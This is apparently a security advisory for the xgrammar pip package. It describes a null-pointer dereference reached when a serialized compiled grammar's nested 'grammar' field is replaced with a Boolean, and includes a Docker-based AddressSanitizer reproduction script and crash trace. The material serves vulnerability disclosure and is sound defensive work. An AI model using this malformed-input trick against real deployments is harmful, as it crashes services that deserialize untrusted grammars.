All advisories

Null Dereference Through Ignored Nested Grammar Deserialization Errors

mlc-ai/xgrammar / GHSA-vjhp-8q4h-qjvv

Affected packages

xgrammar pip
Affected versions>= 0.1.23
Patched versionsNot specified

Description

Null Dereference Through Ignored Nested Grammar Deserialization Errors

Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730

Summary

CompiledGrammar::DeserializeJSON can return an object whose nested Grammar handle is null. A caller that can supply a serialized compiled grammar can replace the grammar field with a Boolean; the nested decoder reports a format error, but cpp/compiled_grammar.cc discards it and returns the partially initialized object. Constructing GrammarMatcher then passes the null handle to EarleyParser, whose first rule-count access dereferences it and terminates the process. This demonstrates an availability failure in any process that deserializes an untrusted compiled-grammar blob; it does not by itself demonstrate code execution or a confidentiality breach.

Detail

The trust boundary is CompiledGrammar.deserialize_json: the caller supplies the JSON string, while the application supplies a legitimate TokenizerInfo. A valid serialized CompiledGrammar must contain a usable nested Grammar, because all matcher operations assume that handle points to a Grammar::Impl. The deserializer checks that the grammar key exists, but at revision f07ca3c it does not require the value to decode successfully:

if (object.find("grammar") == object.end()) {
  return ConstructDeserializeError("Expect a 'grammar' field", type_name);
}
AutoDeserializeJSONValue(&(impl->grammar), object["grammar"], type_name);

CompiledGrammar::Impl::grammar starts as Grammar{NullObj{}}. For the PoC's Boolean value, AutoDeserializeJSONValuePImpl allocates a temporary Grammar::Impl, the reflection decoder returns Expect an object, and the helper returns that error before assigning the temporary to the destination. Because the outer call discards the error, impl->grammar remains null. The outer function nevertheless validates independent tokenizer metadata, decodes the cache, returns std::nullopt, and CompiledGrammar::DeserializeJSON publishes the incomplete object:

auto impl = std::make_shared<CompiledGrammar::Impl>();
if (auto error = DeserializeJSONValue(impl.get(), json_value, tokenizer_info)) {
  return error.value();
}
return CompiledGrammar(std::move(impl));

There is a second route to the same invalid state. The generic PImpl decoder deliberately treats JSON null as a successful null object:

if (value.is<picojson::null>()) {
  *result = T{NullObj{}};
  return std::nullopt;
}

The first real sink is the GrammarMatcher::Impl initializer in cpp/grammar_matcher.cc, which passes the unvalidated handle to its EarleyParser base:

: EarleyParser(compiled_grammar->grammar),

EarleyParser::EarleyParser immediately evaluates grammar->NumRules() while sizing its caches. Grammar::operator->() returns the underlying raw implementation pointer without a null check, so this member access reads near address zero. There is no intervening guard in the Python binding, GrammarMatcher, or EarleyParser. The reproduced ASan stack placed Grammar::Impl::NumRules, EarleyParser::EarleyParser, and GrammarMatcher::Impl::Impl in that order, matching the source-level path.

The adjacent adaptive_token_mask_cache call also discards its structural decoding error. That does not cause this grammar-null crash, but propagating it in the same function prevents the outer object from silently accepting another malformed nested field and keeps deserialization atomic. Semantic cache validation remains separate and is covered by reports 03 and 06.

Reproduce

Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.

The following disposable container checks out the exact assessed revision, builds it with AddressSanitizer, creates a legitimate compiled grammar, changes only its nested grammar value to false, and constructs a matcher from the returned object. The final Python process is expected to abort; no external target is contacted, but the container process intentionally crashes.

docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions
mkdir work
cd work
git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update --init --recursive --depth 1
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
  python -m pip install -q --config-settings=cmake.build-type=Debug --no-build-isolation --no-deps .
cat > repro.py <<'PY'
import json
import xgrammar as xgr

tokenizer = xgr.TokenizerInfo(["a", "<eos>"], stop_token_ids=[1])
compiler = xgr.GrammarCompiler(tokenizer, max_threads=1, cache_enabled=False)
obj = json.loads(compiler.compile_grammar('root ::= "a"').serialize_json())
obj["grammar"] = False
compiled = xgr.CompiledGrammar.deserialize_json(json.dumps(obj), tokenizer)
xgr.GrammarMatcher(compiled, terminate_without_stop_token=True)
PY
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1 \
LD_PRELOAD="$(g++ -print-file-name=libasan.so)" \
  python repro.py
DOCKER

The preserved run record shows AddressSanitizer reporting a read from the zero page and terminating the process. Its decisive frames were:

Grammar::Impl::NumRules()
EarleyParser::EarleyParser(...)
GrammarMatcher::Impl::Impl(...)
AddressSanitizer: SEGV

Credit

Zheng Yu @ Depthfirst